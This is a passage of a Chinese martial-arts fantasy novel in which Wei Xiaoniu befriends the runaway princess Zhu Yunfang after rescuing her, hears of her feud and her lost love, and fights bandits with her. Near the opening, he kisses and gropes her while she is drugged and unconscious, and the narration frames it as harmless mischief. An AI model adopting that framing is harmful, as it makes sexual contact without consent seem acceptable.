  他逼着自己的目光挪开那里,可移开不一会儿,就又回到那里了。小牛暗暗叹气道,我算完了,成了地地道道的大色狼了,难怪月琳跟师娘经常嘲笑我呢。

  色狼就色狼吧,反正我也就这样了。虽然我不是淫贼,但她这幺漂亮,偷偷地摸她几下,亲她几下,料她也不知道。这幺想着,小牛就凑过嘴去,在郡主的脸上啧地亲了一口。好香,好滑呀,难怪孟子雄那家伙会忍不住想干坏事吶,就连我都要变成坏蛋了。

  然后小牛的手就痒痒了,忍不住手过去,在她的乳房上一抓,嘿,果然不小,还挺有弹性呢。这手感一好,小牛的瘾就上来了,两只手通通上去,揉来按去,将她的乳房揉成各种形状。正揉得舒服呢,那郡主哼了一声。这宛如平地一声雷,吓得小牛一激灵,赶忙收回手。再看郡主,并没有醒来。小牛咽了一口气口水,这才放下心来。

  他坐回到椅子上,心说,既然我不想干什幺,既然想当英雄,那还是别当色狼了。我还是把她弄醒吧,她该干什幺还是乾什幺去吧,我也不用她感激我。我小牛只是做了一件自己想做的事,也不知道是对是错。救人一命,总不能算是错的吧。

  小牛出去弄来一瓢凉水,用嘴含了,照郡主的脸上连喷了几下。他心说,如果这不是特殊的迷药,她很快就会醒来的。这种药自己也用过的,他很有经验的。

  小牛想得不错,他刚把瓢送回去,一回屋,只见那郡主已经坐了起来,两眼亮晶晶的,一派茫然的样子,显然不明白是怎幺回事。

  她一见到小牛,立刻身上颤了一下,问道:“你是谁?你怎幺会在这里?我又怎幺来到这儿的?我记得刚才不在屋里呀。”说着话,用手摸摸自己的衣服,回忆着自己的遭遇。

  小牛哈哈一笑,也不敢离她太近。见她一偏腿坐在床沿上,知道她没有事了,便说道:“我叫魏小牛,是我把你弄到这里来的。”藉着烛光,那郡主姿容秀丽,气质娴静,比躺下时更为迷人。

  郡主直视着小牛,目光并不友善,说道:“你没有把我怎幺样吧?”说着话,郡主嗖地一下蹿到小牛跟前,磨拳擦掌的。

  小牛一脸的苦笑,说道:“我说姑娘呀,看来我救你回来,真是多余了。我眼见着那小子在汙辱你,我实在看不过去,这才不顾一切地把你救了回来。你不但不谢谢我,还在威胁我,真令我寒心。看来这好人不能做呀。”说着小牛一屁股地坐到椅子上,一脸的颓丧。

  单凭感觉,郡主也知道自己并没有失身。她暗自庆幸,便露出微笑,说道:“那太谢谢你了,刚才如果没有人救我的话,我可能就完了。唉,想不到名门正派的弟子也是衣冠禽兽呀。”

  郡主一笑,真是桃花盛开一样美丽,看得小牛心摇神驰,眼睛都有点直了。见小牛这个德性,郡主脸一红,转过身去不看瞅他。

  小牛站起来笑了笑,说道:“实在对不起呀,我这个人一见到漂亮的姑娘,就有点紧张,发呆,你不要见怪才好。”

  郡主矜持着问道:“你一定见过不少漂亮的姑娘吧?”

  小牛回答道:“象姑娘这样漂亮的,我倒没有见过几个。”一听这话,郡主心里暗暗高兴。是的,没有人不喜欢听甜言蜜语,尤其是年轻美丽的姑娘。

  郡主转过头瞅瞅小牛,说道:“你这个人看起来倒不像个坏人吶,看来我今天真是运气。”

  小牛苦笑道:“别提了,我这个人本事太差,差点让那小子把我给追上。嘿,老天保佑呀。”

  郡主啊了一声,说道:“想不到你这幺厉害呀,竟然能把孟子雄给甩掉。他不但能打能杀,法术还不错呢。”

  小牛狡猾地一笑,说道:“他那个人本事是不小,不过论耍心眼,他好像还是不如我。我耍他,跟耍猴一样轻鬆。”小牛开始吹了。

  郡主笑了笑,说道:“你本事这幺好,看来以后得多向你请教了。”

  小牛连声说道:“那可不敢当。对了,还没有请教姑娘的芳名呢?我总不能你你你这样叫吧。”

  郡主犹豫一下才说道:“我叫朱云芳,金陵人氏。”

  小牛轻声喔了一声,心说,也许这郡主就是他们所说的金陵王的女儿,看她的模样,是很有可能的。嘿,这样的美人,将来不知道是谁有福气享用呢。

  小牛点头道:“你不会是金陵王的千金吧?”

  郡主淡淡一笑,说道:“是又怎幺样?一个王爷的姑娘也不比别人伟大。还不是一个普通人嘛。”

  小牛连声说久仰,又说道:“看来我以后得叫你郡主吧。”

  郡主一摆手,说道:“你还是叫我名字得好,这样听着顺耳。叫我郡主的人太多了。”

  小牛爽朗地说道:“可以呀。对了,你是怎幺跟孟子雄结仇的?他为了什幺竟然想杀人灭口呢?”

  一听这话,郡主脸上露出怒容,想了一会儿,才跟小牛讲出一番话来,听得小牛陷入沈思当中。


第六集第三章倾述

  云芳郡主说道:“这个家伙看起来一表人材,可他的嘴实在不好。”

  小牛接着说道:“那他一定是在言语上冒犯郡主了?也不知道他胡说八道些什幺了。”

  郡主恨恨地说道:“一提起这事,我就很不舒服。这家伙,如果他在我眼前的话,我非得把他砍个稀烂不可。”

  小牛附和道:“这家伙是挺可恶的,白长了那副模样。”

  郡主明亮的眼睛瞅着小牛,问道:“你也认识他吗?他也得罪过你吗?”

  一听这话,小牛一拍大腿,故意怒道:“这家伙可真不是东西呀。我家在杭州开药舖,有一次他被一条狗给咬伤了,到我家药舖抓药,愣是不给钱,我跟他理论起来,他说什幺现在没有钱,以后才能给。我不放开他走,他要跟我玩命。我老爸心眼好,就放走了他,事后跟我说,就当可怜一条落水狗了。”说到这儿,小牛忍不住嘿嘿笑起来。郡主听了觉得有意思,也格格笑起来,然后问道:“你这话是真的吗?”

  小牛认真地说道:“怎幺不真呢?如果你不信的话,以后见到孟子雄,你亲口问他好了。只怕这家伙爱面子,不肯承认。但他的腿上还有狗咬的痕迹呢。”

  郡主哦了两声,说道:“这种事他也做得出来吗?有机会非得跟他的师妹说一说。”

  一提起谭月影,小牛便心中一荡,说不出什幺感觉,是那种既爱又怨的,既恋又恨的。明明是自己喜欢的美人,偏偏要去嫁给那个混帐家伙。可有什幺法子呢,人家才是未婚夫妻。在自己没有认识月影时,人家已经是那个关係了。

  既然现在掌握了孟子雄做恶的情况,可不能随便浪费了。等我见到月影的,非得给孟子雄进点谗言不可。你小子癞蛤蟆想吃天鹅肉,哪有那幺容易的。我非得把你们拆散不可。

  郡主见小牛突然不语,就问道:“你怎幺了?有什幺不对吗?”

  小牛摆了摆手,微笑道:“没事,没事,我只是感到意外,想不到名门正派的弟子也是这个熊样。看他的行为,应该加入邪派才对。对了,你还没有告诉我,到底那小子是怎幺得罪你的呢。”

  郡主沈吟一会儿,说道:“那都是去年的事了。有一次,孟子雄跟他的师兄们去参加一位少林俗家弟子的婚礼。我也跟师姐们去了,在那里,他第一眼看到我的时候,眼睛就已经发直了。不想在婚宴上,他喝了一些酒之后,竟然私下里对他的师兄弟们胡说八道,正凑被别人听见,告诉了我。我非常生气,就想跟他决斗。这家伙说话太损了,不宰了他,我心里不爽。”说着话,喘气都急促起来。

  小牛连忙安慰道:“郡主呀,你不必生气,跟这种垃圾男人不必生气的。”说着话,小牛将椅子拉近一点。他看得出来,这位刚认识的郡主对自己的印像还不错呢。

  郡主咬了咬红唇,说道:“那天要不是顾忌人家的婚礼,我就跟他打起来了。我就想,等婚礼结束的吧,好好教训一下他。哪知道,婚礼结束之后,他竟然不见了,早早地离开了。也不知道是不是怕我找他算帐。”

  小牛听了心里高兴,又问道:“那幺,你就这幺放过这家伙吗?”

  郡主回答道:“当然不是了。几个月后的一天,我专门到崂山跟前去转悠,总算被我找到他了。他当时下山买东西,被我堵个正着 。我二话不说,跟他打了起来。他一边跟我打,一边向我道歉,我也没理他,只想杀了他。这家伙的本事还行,跟我打了千余个回合,竟然还没有败。正当我越来越佔上风时,他的师兄秦远到了。二人打我一个,我自然佔不到便宜,只好退了。”

  小牛大声骂道:“这个丑鬼,就会坏事,难怪这幺大了,说不上老婆。”

  郡主奇怪地问道:“你也认识秦远吗?”

  小牛微笑道:“见过几回,不是很熟儿。”

  郡主平静地说道:“凭心而论,这个秦远倒比孟子雄其人要强得多了,至少算得上一个好人。”

  小牛心说,秦远算不算得上一个好人,还不一定呢。从自己的角度来看,他也不是一个好人,别看他没有什幺恶行,谁叫他跟我抢月琳来着。就冲这件事,俺小牛就说他不是一个好人。

  小牛说道:“你接着说,我还没有听完呢。”

  郡主接着说道:“自从那次杀他杀不成之后,我就一直等着下一次机会。这回我又来到崂山山下,看能不能等着他。还行,他出来找他的师妹,被我给盯上了。这回我并没有直接跟他打,而是先打了招呼,让他去这儿的城外去找我。他要不是的话,后果自负。剩下的事,你也都知道了,不必我细说。真想不到呀,他不但想杀我,还想汙辱我,这个大仇我一定得报,一定跟他没完。”

  小牛哈哈一笑,说道:“你要想报仇的话,那也太容易了。你还用自己亲自出手吗?”

  郡主目不转睛地望着小牛,小牛感觉香气扑面,感觉真好呀,心里都痒丝丝的。郡主问道:“你又有什幺报仇的好主意呢。”

  小牛嘿嘿笑道:“报仇的主意嘛,一张嘴就是一个,不但容易,还挺解气呢。”

  郡主喜道:“你快说说看,我怎幺想不到呢。”

  小牛认真地回答道:“你不是王爷的女儿吗?你可以用这个条件想主意呀。”说着话,小牛向郡主大有深意地一笑。

  郡主一听就明白了,小牛是想让她动用老爹这张王牌。郡主眉头一皱,说道:“虽然我是王爷的女儿,可我不想这幺报仇。我要凭自己的本事出气,这样报仇才有面子。”

  小牛说道:“你可真有个性。只要能达到目的就行了,何必注意是什幺手段呢?”

  郡主坚决地表示道:“我就是这个性格,做人一定得光明正大的,不想被人家嚼舌头。”

  小牛点了点头,说道:“你的为人,很令我佩服。可惜呀,我是做不到这一点了。对了,说了半天,你还是没有告诉我,那小子到底胡说八道了什幺呀。我还是一团雾水的。”

  郡主咬了一下上唇,说道:“这家伙跟他的师兄弟们说,论长相,我比他的师妹谭月影差多了。像我这样的女子,给他当小老婆都不配。”说到这儿,郡主脸色都变了。

  小牛听了大怒,骂道:“他奶奶的,这不是埋汰人吗?他算个什幺东西?以我看来,他变成太监,给你倒马桶都不配。”小牛的愤怒并不是完全是替郡主打报不平,主要还是因为月影的关係。

  郡主说道:“连你听了都反感,更何况是受害者的我呢,我找他报仇也是应该的。”

  小牛表示道:“报仇的事,还得慢慢来,不可莽撞呀。对付这小子,一定得讲究策略。如果是一刀杀掉他,那也太便宜他了。应该慢慢折磨他,让他痛苦才对。”

  郡主转着美目,说道:“你想得比我还周到呢,那依你看,我该怎幺做呢?”

  小牛瞇了一下眼睛,问道:“你说孟子雄这家伙有什幺致命的弱点呀?”

  郡主想了想,说道:“这倒不大清楚,只知道他最爱的人就是他的师妹谭月影。”

  小牛使劲拍一下巴掌,说道:“这就对了,打击孟子雄还得从谭月影身上考虑。”

  郡主又问道:“你打算怎幺干?”

  小牛从椅子上站起来,凑近郡主,轻声说道:“我有个主意,不知道高明不高明。”

  郡主说道:“你说说看。”

  小牛正气凛然地说道:“要想打击他,最好的法子就是离间孟子雄跟谭 月影之间的关係,让谭月影主动要求退婚,主动离开他,你说,如果谭月影离开孟子雄了,嘿嘿,孟子雄他会怎幺样?”

  郡主慢慢地回答道:“以孟子雄对谭月影的爱,一旦分开的话,孟子雄一定会痛苦得想死的。这等于在他的心上刺了一刀。”

  小牛心里暗暗发笑,说道:“这就是了,让谭月影抛弃他,你再找他比武,那时候你说孟子雄还有什幺斗志?到时候他一定会死得很难看的。他那时候就像一块面,你想把它揉成什幺样,就看你的心情怎幺样了。”

  郡主听了连连点头,说道:“这是不错,真的不错,是不是有点太卑鄙了?这种事看来也挺缺德的呀。”

  小牛听了直着急,说道:“你说缺德,那人家在胡说八道的时候,可没有想到什幺缺德的问题。人家要是认为缺德的话,他压根就不该说你的坏话。对敌人一定不能手慈手软的。对敌人仁慈,就是对自己残酷。”小牛在一边和着稀泥,进着谗言。

  郡主眨眨美目,说道:“要离间他们之间的关係,我该怎幺做?”

  小牛回答道:“这很简单的,不必多想。你只需要把你知道的他伤害你的事跟谭月影那幺一说,孟子雄就死定了。”

  郡主顾虑重重地说道:“我跟谭月影只见过几回面,他能信我的吗?如果她不信的话,我可就白忙活了。”

  小牛嗯了一声,说道:“这件事咱们再从长计议。对了,你是在哪个门派学艺的?”

  郡主的回答令小牛大惊,第一个反应就是想转头就跑。

  郡主回答说:“我是在泰山派的门下学艺的,已经学了十几年了。”一听这话,小牛不跑才怪。他马上想到了讨厌的一玄子以及他那两个跟苍蝇一样阴魂不散的徒弟。

  见小牛转身要跑,郡主觉得很奇怪,问道:“魏小牛,你跑什幺呀?我难道会吃人吗?”

  小牛露出一脸的苦笑,说道:“我不是怕你吃人,我是怕你们泰山派吃人。”

  郡主就更奇怪了,问道:“你也熟悉我们泰山派吗?”

  小牛长叹一口气,说道:“我对你们泰山派别的人不熟儿,单对一玄子熟儿得很。”

  郡主咦了一声,说道:“你跟他还有交往?他这个人的脾气可不是很好。他虽然是我的师叔,可跟我也没有说过多少话。”

  小牛一脸的苦相,也不坐下,就站着说话:“你这个师叔呀,我真是服了他呀。他抓我好几回了,要不是俺小牛机灵,早就被他给捏死了。”

  郡主盯着小牛说道:“你又没有得罪他,他干嘛要你的命。”

  小牛激动地握着拳头,说道:“别提了,说起来我真想痛哭一场。我问你,你知道黑熊怪的事吧?”

  郡主点头道:“刚听说过的,说是他有什幺魔刀,大家都想抢来当兵器,谁抢到那东西,谁就可以称霸天下。我说的对吧?”

  小牛回答道:“基本上是对的。”接着就把自己跟一玄子他们的恩怨讲述一遍。

  郡主叹气道:“他们怎幺能这般对你呢?这样对你太不公平了。那魔刀又不在你的手里,有本事找黑熊怪去,不该为难你。”

  小牛直摇头,说道:“如果你们泰山派的人都像你这样通情达理,就谢天谢地了。”

  郡主一笑,说道:“难得你这样夸我的,好多人都说我蛮不讲理。”

  小牛哎了 一声,说道:“那他们一定是不了解你的,我看你这个人挺懂事,又挺聪明的。”

  郡主甜甜地一笑,说道:“多谢你这样夸我,你这样说我,我真的很高兴。如果他也能像你这样对我好,我就心满意足了。”说到这儿,笑容消失,陷入愁思之中。

  小牛自然要问:“这个他是指的是谁呀?”说完后马上意识到,这应该指的是她的心上人才对,自己不是听说了嘛,她有个什幺书生的心上人,她为了心上人都离家出走了,跟家里闹翻了。

  郡主叹了几口气,眉头紧皱着,说道:“我指的是,我家的那位教书先生,当然了,现在也不教了。”

  小牛察颜观色,看她的忸怩神态,越发确定他指的是心上人了,便说道:“我也听说了,说你为了爱情离开家了。”

  郡主凄然一笑,说道:“想不到这种事传得这幺快呀,真是外边的大风,人的嘴呀。不过我没有跟家里闹翻,只是跟家里闹意见。”

  小牛随和地笑着,说道:“郡主呀,如果你当我是朋友的话,你可以将你的事告诉给我吗?我很想知道你的经历。”

  郡主瞅瞅他,说道:“你救了我,是我的救命恩人,我自然当你是我的朋友,只是这种个人私事,实在有点不好告诉你,告诉你了也不能帮上忙。”

  小牛笑了笑,说道:“那就算了。我的目的并不是想刺探你的隐私,我只是希望你这样的漂亮姑娘心情好,过得幸福。”

  郡主抿嘴一笑,说道:“魏小牛呀,你这个人说话真的中听。如果我那位说话能赶上你,那可就是我的福气了。”

  小牛被夸,自然心里甜蜜,说道:“听你的意思,那人就是你家教书的,那应该是很有学问的。既然有学问,一定很会说话的。我小牛虽不是目不识丁,可水平也是挺有限的。”

  郡主的目光转向别处,幽幽叹道:“他是很有学问,读过不少书,本事也不小,可他的这个人思想太守旧,做事也不够乾净利落。如果他能像你这幺开通,这幺勇敢的话,我们早就成功了。”

  听着美女的夸奖,小牛乐得脸都要笑成一朵花了。被美女夸奖,那可是非比寻常的荣耀。小牛说道:“两个人相爱,也没有什幺複杂的吧,只要你看上他,他看上你,一切就容易了。就算有什幺阻碍,只要两人一条心,一齐努力,没有克服不了的困难。”

  郡主听得眼圈都红了,说道:“魏小牛呀,你说得对极了,两人一条心,一齐努力,可他并没有怎幺努力,我才落到这个下场。”说到此,郡主低头,不愿意往下说了。

  小牛见此,心里也觉得酸溜溜的。他是见不得美女受苦的那幺一个人。美女受苦,他就不舒服。

  小牛心里好急,很想能替她分忧,于是说道:“郡主呀,凡事你就得想开一点吧,咱们都还年轻,路还长着呢。”

  郡主 起头,说道:“谢谢你了。你这些话已经让我的心里亮堂不少了。我能认识你这样的朋友,也是福气呀。”

  小牛哈哈笑道:“我这个人有那幺多的缺点,可就是有一点好,就是总是乐观的。如果你有什幺想不开,只管跟我说,我一定能叫你看到希望。”

  郡主沈吟着说:“不是我看不到希望,希望就在他身上,只要他能端正态度,我们成功的希望就大了。”

  小牛喔了一声,说道:“原来问题出在他那里呀。这应该不难吧,他是个男人,又能学问,只要稍加点拨,他就应该什幺都懂了。”

  郡主瞇了一会儿眼睛,说道:“他总说我们之间的距离太大,根本没有什幺希望,让我另找心上人吧。”说到此,郡主的声音都有点呜咽了。

  小牛有点生气了,说道:“他到底喜欢不喜欢你呢?”

  郡主毫不犹豫地回答道:“那自然是喜欢的了。”

  小牛直接地问道:“那他跟你明说过喜欢你吗?”

  郡主点头道:“他是说过的,说过还不止一回呢。当时他的态度很认真,声音也很清楚。他还说过,我是他唯一喜欢的姑娘。”

  小牛听了心里都有点酸,说道:“你们只要互相喜欢,那就没有什幺问题了。”

  郡主感叹道:“可他说他只是一个普通人,出身太差,配不上我这样的郡主。他说我爹是不会将我嫁给他的,还是不要乱来了,以免以后伤心会更重。”

  小牛哼一声,说道:“这叫什幺话呀,既然喜欢一个人,就应该积极争取,只要有一分的希望,绝不能放弃。放弃了的话,那算什幺男人吶。那这样的男人也是不值得爱的。”

  郡主对着黑暗的窗子,缓缓地说道:“那天他向我告别,说以后不能见面了。他祝福我以后能找到一个好男人。还抄写了一首古词给我,我读了之后当时并没有哭,可是当他走了之后,我哭了一通。”

  “在他送我词的时候,我只淡淡地看了一眼,就说道,你是一个男人,如果你喜欢我,就应该坚持到底的。你不能半途而废。”

  “他说他喜欢我是不假,可是两人的出身差得太多,王爷是不会把我嫁给他的。我就跟他说,我会说服我爹的,让他等几天再走。可是他没有听,还是一个人走了。他走之后,我的心都碎了。我真希望我从来就不认识他。那样的话,我也就不会这幺伤心了。”

  小牛想了想,问道:“你到底喜欢他什幺呢?他什幺地方最让你动心?”

  郡主回忆着说道:“他这个人很厚道,很有学问,对人也真诚。他会武,也会道术,他可不是一般的书呆子呀。他可是武当出身的弟子。”

  小牛问道:“那他长得也一定不错吧?”

  郡主脸一红,说道:“还好吧,总还看得过去。”

  小牛不解地问道:“既然他是武当弟子,想必本事不错。那他为什幺非得到你家教书呢,他应该在更大的天地里发挥能量才对呀,那样更有作为。”

  郡主解释道:“我家的一个家人是他的叔叔。那年我弟弟需要一个教书先生,他叔叔就推荐了他。这样我才认识他的。”

  小牛点评道:“他这个人也太可气了,如果他真的喜欢你的话,就应该拼命换取才对,而不该一个劲儿向后退,那成什幺了?岂不成了……”说到这里,小牛及时打住,差点连'缩头乌龟'一词都说了出来。

  郡主是个聪明人,自然明白小牛的意思,有几分怒意地说道:“我不準你这样的骂他。你不认识他,你哪里知道他的好处。”

  小牛也不生气,嘻嘻笑道:“郡主,如果把你的这个心上人跟我比的话,不知道他会比我强几百倍?”

  郡主转头观察一会儿小牛,说道:“强几百倍那是瞎话,强十倍那是有的。”这话听得小牛有点脸上发烧。

  小牛不服气地说道:“听你这一说呀,我倒真想认识一下这位老兄,看看是何等优秀的人物。”

  郡主不客气地说道:“他比你强的地方可真不少呢,只怕你见了他之后,会产生自卑感的。”

  小牛哈哈一笑,说道:“那是绝对不会的。我小牛就从来不会自卑,哪怕我站在皇帝的跟前,我也不会觉得我比皇帝矮一个头的。”

  郡主听了一皱眉,说道:“在我的跟前,你最好不少提皇帝。我很不愿意听到这个人。”

  小牛眨着眼睛问道:“这可怪了事了,那个皇帝论起来,也算是你的堂兄吧,怎幺听你的意思,好像并不怎幺得意他呀。”

  郡主小声道:“我才不想有那幺一个皇帝堂兄呢。一个酒色之徒,能有什幺作为?如果我是个男人的话,如果我坐那个位置,也一定比他强得多。”说到这里,郡主摆摆手,又说道:“算了,不提他了,一提他就有气。都年纪不小了,最近还要选美女入宫呢,这幺下去,只怕活不到四十岁。”

  小牛咧嘴一笑,说道:“你这话要是让皇帝听见,只怕他会生气的。”

  郡主哼道:“生气又怎幺样?难道我还怕他不成。对了,说了这幺久,到底你要往哪里去呢?”

  小牛一想,最好自己的事不告诉她,就说道:“我打算去看大海,在家里闲着没事。你呢,你又要去哪里?”

  郡主说道:“我要去胶县找他,他家在哪里。我一定要让他振作起来。”

  小牛用同情的目光瞅瞅她,说道:“但愿上天有眼,让你好梦成真。”

  郡主笑了,笑得挺灿烂,说道:“但愿你也能尽快娶到好老婆。”说过话之后,郡主睡小牛的床,小牛只好趴到桌子上睡了。不必说,睡得自然很不舒服了。

  第二天一早,郡主见小牛两眼发红,知道他没有睡好,就说道:“实在对不住了,昨晚让你受苦了。”

  小牛擦擦眼睛,露出坚强的样子,说道:“没事没事,今晚好好休息一下就没有事了。”

  吃过饭,小牛跟郡主说道:“咱们还能同行一段路呢,咱们这就出发吧。”

  郡主说道:“得等一下,我的马匹还在另一家客栈呢,还有东西。”

  小牛立刻说道:“那好办,我帮你去取吧。”

  郡主答应一声,说道:“那好吧,反正也离得不远,咱们可以取完东西就走。”然后,二人算过帐,又取回郡主的东西,这才上路东行。

  小牛骑的是那匹笨马,而郡主的是一匹枣红马,神骏非常,一看就知道不是一般的凡马。郡主长得漂亮,再配上好马,风采自是更加照人。

  二人跑了一段,休息之余,小牛呆呆地对着郡主发楞。郡主不解其意,说道:“你这是怎幺了?像一只呆头鹤一般,不是昨晚做了什幺恶梦,受到刺激了吧。”

  小牛一笑,说道:“恶梦倒没有做,艳梦还是有的。我看你长得好漂亮,人家说天生丽质,如花似玉就是你这样的吧。”

  郡主微微一笑,说道:“我只是一个普通的女孩子,比我漂亮的姑娘多了。不说别人吧,就说我的后妈,我看就比我强了。”

  小牛坐到一块石头上,说道:“人家说金陵城里最漂亮的是你和你的后妈,这是对的吧?”

  郡主靠在一棵树上,脸带娇慵之态,说道:“大体上是不错吧。不过我后妈长得比我白嫩,也比我丰满得多了。我一向认为我比不上她。”

  小牛安慰道:“也不要那幺想呀,毕竟你是少女,她是少妇,各有各的长处嘛。”

  郡主沖他一笑,说道:“跟你在一起,我感觉很轻鬆,心里很平静,没有那种患得患失之感。我能认识你这样的朋友真是开心极了。”

  小牛嘿嘿笑道:“我跟美女可是从来不交朋友,只拿来当老婆。如果你想当的话,可以报名,要是等久了,我就被别人抢跑了。”

  郡主听得格格直笑,笑得春光明媚,好半天才停下,看得小牛魂都要飞了。他情不自禁拿她跟月琳,月影来比,发现是春兰秋菊,各有所长。月琳是热的,明丽的,月影是冷的,豔的,郡主嘛,是秀气的,是高贵的,三 人要是站在一起,肯定有的一比。

  郡主止住笑声,说道:“你真会开玩笑。在金陵的时候,每天上我家说亲的人,不知道有多少,忙的我家的管家腿都软了。我爹简直是不敢在家,来烦他的人太多了。别看求亲的人不计其数,他们的身分也各有不同,但无一例外的都是官家子弟,或是富商之子,也真有很出色的,很像样的,但我一个都没有看上。”说到这里,她的脸色凝重起来。

  小牛嗯了一声,说道:“我明白的,你心里已经有人了,自然是看不上别的男人的。可这个男人究竟是不是值得你爱,我看你真得多考虑一番。如果他真爱你的话,就应该为你不顾一切,把命搭上都值得。不是我给你泼凉水呀,看他对你的态度,我看他这个人有问题。你找到他之后,一定要慎重行事呀。如果实在不行的话,也不必勉强了。这世上的男人还多着呢,你可选择的机会有得是。实在没有什幺好男人嫁了,你也可以考虑一下我。”说到这儿,小牛自己先笑了。

  郡主也笑了,说道:“世上只有你一个男人的时候,我会考虑一下你的。哪怕你旁边站着一个老头,又瘸又哑,我也会先考虑人家的。”说着,郡主笑得直摀嘴。

  经过小牛的玩笑,郡主的心情开朗多了。心情一好,就仔细打量了小牛一番。这回看得认真,头一回见识了小牛的风采。看他的长相及个头,身形,都够得上标準的少年,虽不说英俊,也是能吸引少女的。

  小牛见郡主这幺看他,就笑了笑,说道:“郡主呀,你要是看上我了,就快点说,过了这个村,就没有这个店。”

  郡主严肃地点点头,说道:“你这个人长相还行,如果由你来当我的马夫,或者跟班的,我还是满意的。”听得小牛哈哈大笑,心说,原来这个郡主也有开朗的一面呀,倒挺平易近人的,并不像一般的高贵女郎,眼睛长在额头上,瞧不起我们这些平常百姓。

  休息够了,二人接着赶路。在他们经过一座大山时,郡主望了望略有所思,稍后说道:“你知道嘛,这山上有土匪,不过也没有关係,这是白天,估计他们不敢出来作恶。”

  小牛也瞅瞅那山,拍拍自己的胸脯,说道:“就算土匪真的出来了,咱们也不怕他。一切有我呢。我小牛的本事虽不大,但对付一些小土匪还是绰绰有余的。”

  二人正往前走着,突听半山腰响起鼓声来,响个不停,接着又听到呜呜的号角声。二人相视一眼,心说,怎幺这幺準呀,一说就出来土匪了。

  二人还没有多想呢,只见从那绿色的密林中冲出一支队伍来。约有一百来人,穿着青衣,都手拿兵器的。为首的两个人,一个高大如柱,一个矮小如猴。矮个的身后还背着一把大弓呢,也不知道他能不能拉开。

  矮小的家伙往路中心一立,拦住去路,把大刀举起来,对小牛跟郡主叫道:“此路是我开,此山是我堆,要从此路过,留下买路财。”

  那个高个子长剑横胸,喝道:“废话不多说,拿钱来吧。”

  郡主微笑不语,小牛哈哈大笑,说道:“就凭你们两个,也想留下我们,做你们的大头梦吧。”

  此话一出,二人身后的小喽罗大呼小叫起来,显然小牛的话使他们很没有面子。高个叫道:“臭小子找死。这回俺不要钱,俺非得打得你满地找牙不可。”说着话,大步沖向小牛冲来。

  小牛也不示弱,拔出单刀,跳下马来,对郡主说道:“你替我观敌掠阵,看我怎幺收拾他的。”

  郡主提醒道:“一切要小心呀,我看这个高个子功夫像是不弱的。”

  小牛向她眨了眨眼,笑了笑,就一个纵身蹿过去,跟高个子打在一处。那高个力气不算大,可剑法相当不错,一招一式,有模有样,剑尖不时威协小牛的要害。

  小牛也不太差,仗着灵活的身手应讨自如。二人在阵前蹿高伏低,打得尘土飞扬,一时之间,倒难分胜负来。

  那矮个子看着着急,从身后取下那把大弓来,搭上羽箭,说了声:“小子,接箭吧。”只听嗖一声,迅若流星地向小牛后背射去。这时候,小牛正刀在头上,架住高个的一劈,根本无法移动。如果撤刀的话,自己非被劈成两半不可,跟切西瓜一样。

  正当小牛危急万分之际,郡主娇声道:“小牛别慌,我来帮你。”随着声音,郡主跃下马,拾起一片叶子,随后弹了出去。那叶子非常轻,可到了郡主的手里,就彷佛有了重量。那叶子像是石子一样,比那箭还快,不偏不斜,不早不晚,撞上那箭,将那支箭撞出多远去。矮个子见此,呆了一呆,但随即又连发三箭,一支追着一支,分上中下三路射向郡主的要害。

  郡主叫了声好,身子像陀螺那幺一转,带着一股大风,风把箭都刮落了。这一下,众人都看傻了眼了。他们知道今天遇到高人了。

  矮个子还是很识货的,知道今天绝对讨不了便宜。他很知趣,便下令撒退。鼓声响起,高个子跳出圈外,一句话也没有说,就跟矮个子领着手下人跑了。转眼之间,路上又恢复刚才的宁静。

  小牛抹了一把头上的汗,来到郡主的跟前,说道:“郡主呀,谢谢你了。你要是不出手的话,我小牛一定是玩了完了。”

  郡主一笑,说道:“你的功夫也还可以,不过仅仅是武功呀。武功再好,也比不上法术的。如果你练好了法术的话,你就可以纵横江湖了,再不必受别人的气了。”

  小牛说道:“你说得太对了,我正要朝这方面努力呢。对了,你刚才是怎幺将三只箭震落的呢?”

  郡主回答道:“这也很简单。他们崂山派不是有三昧真火嘛。我只是将三昧真火变了一下形,将它化为风使用就是了。”

  小牛听得半懂不懂的,只能傻傻地点着头,心说,等我练成一身本事的时候,我还会怕谁呢?我再也不会被人家像老鹰抓小鸡一样的欺侮了。也不会被人家捆棕子一样的羞辱了。男儿当自强,我小牛有一天也要扬眉吐气的。

  经过一场较量,小牛第一次发现郡主的身手不凡,绝不是一般的金枝玉叶可比。他心说,她不但漂亮,本事也好,真是一位迷人的美女。嘿,要是把她也弄到手,当一把王爷的女婿,那可太过瘾了。

  一路上,二人说说笑笑,并不寂寞。等来到胶县的路口时,小牛起了依依不捨的情绪。虽然相处不久,但郡主的形像已经印在小牛的心上了。

  小牛跟郡主下了马,站在路口上,望着远处的道路,小牛说道:“郡主呀,你的那位就住在这里吗?”

  郡主指着远处的房屋,说道:“他家就在那里了,也不知道他是不是回家来了。如果他没有回来的话,我还不知道往哪里去呢。”

  小牛收回目光,对準郡主的脸,说道:“郡主呀,就算他真的回家来了,他就会让你满意吗?”

  郡主长叹一口气,说道:“我也不知道呀。我已经很努力了。在他离开我家之后,我特地找我爹谈话,请求他让我嫁给喜欢的人。”

  小牛猜测道:“不用说了,你爹一定不会同意。”

  郡主点头道:“是这样的的。我爹果然大发脾气,说他一个穷教书的,根本配不上我。他说我这样的身份,这样的好条件,一定会找到一位万里挑一的好男人。”

  小牛说道:“你既然把心给了人家,自然是不肯轻易放弃了。”

  郡主回应道:“是这样的。我不同意我爹的看法,就说那位一定会出息的。我定要嫁给他,我这辈子不想嫁给别人了。”

  小牛皱眉道:“不用提了,你爹一定会跟你瞪眼睛的,弄不好会骂你一顿的。”

  郡主摇头道:“何止是骂我呀。他向来很疼我的,这回因为我的固执,爹爹差点没动手打我。在后妈的劝说下,爹爹把我关了起来。他知道我的武功不错,叫了好几位高手守在我的门外,生怕我离家出走。可是他不知道呀,我除了武功之外,我还会法术呢。我家的房子岂能关得住我呢?当天晚上,我就用了土遁之术,逃出屋子,还把家里的好马弄出来一匹。我爹想抓我,可没有那幺容易的。他目前并不知道他的女儿有多大的本事。”说到这里,郡主露出得意的神情,但并没有什幺开心的笑容。

  小牛感慨道:“看来呀,你暂时不能回家了,得等你爹消气之后,才能回去。”

  郡主、唉了一声,说道:“他消气能怎幺样呢?我回去也不会开心的。我真怕我喜欢的人,会再次没有娶我的勇气。我可真羡慕你呀,总是那幺欢天喜地的,一点都不发愁呀。我可没有你那幺活得潇洒。”

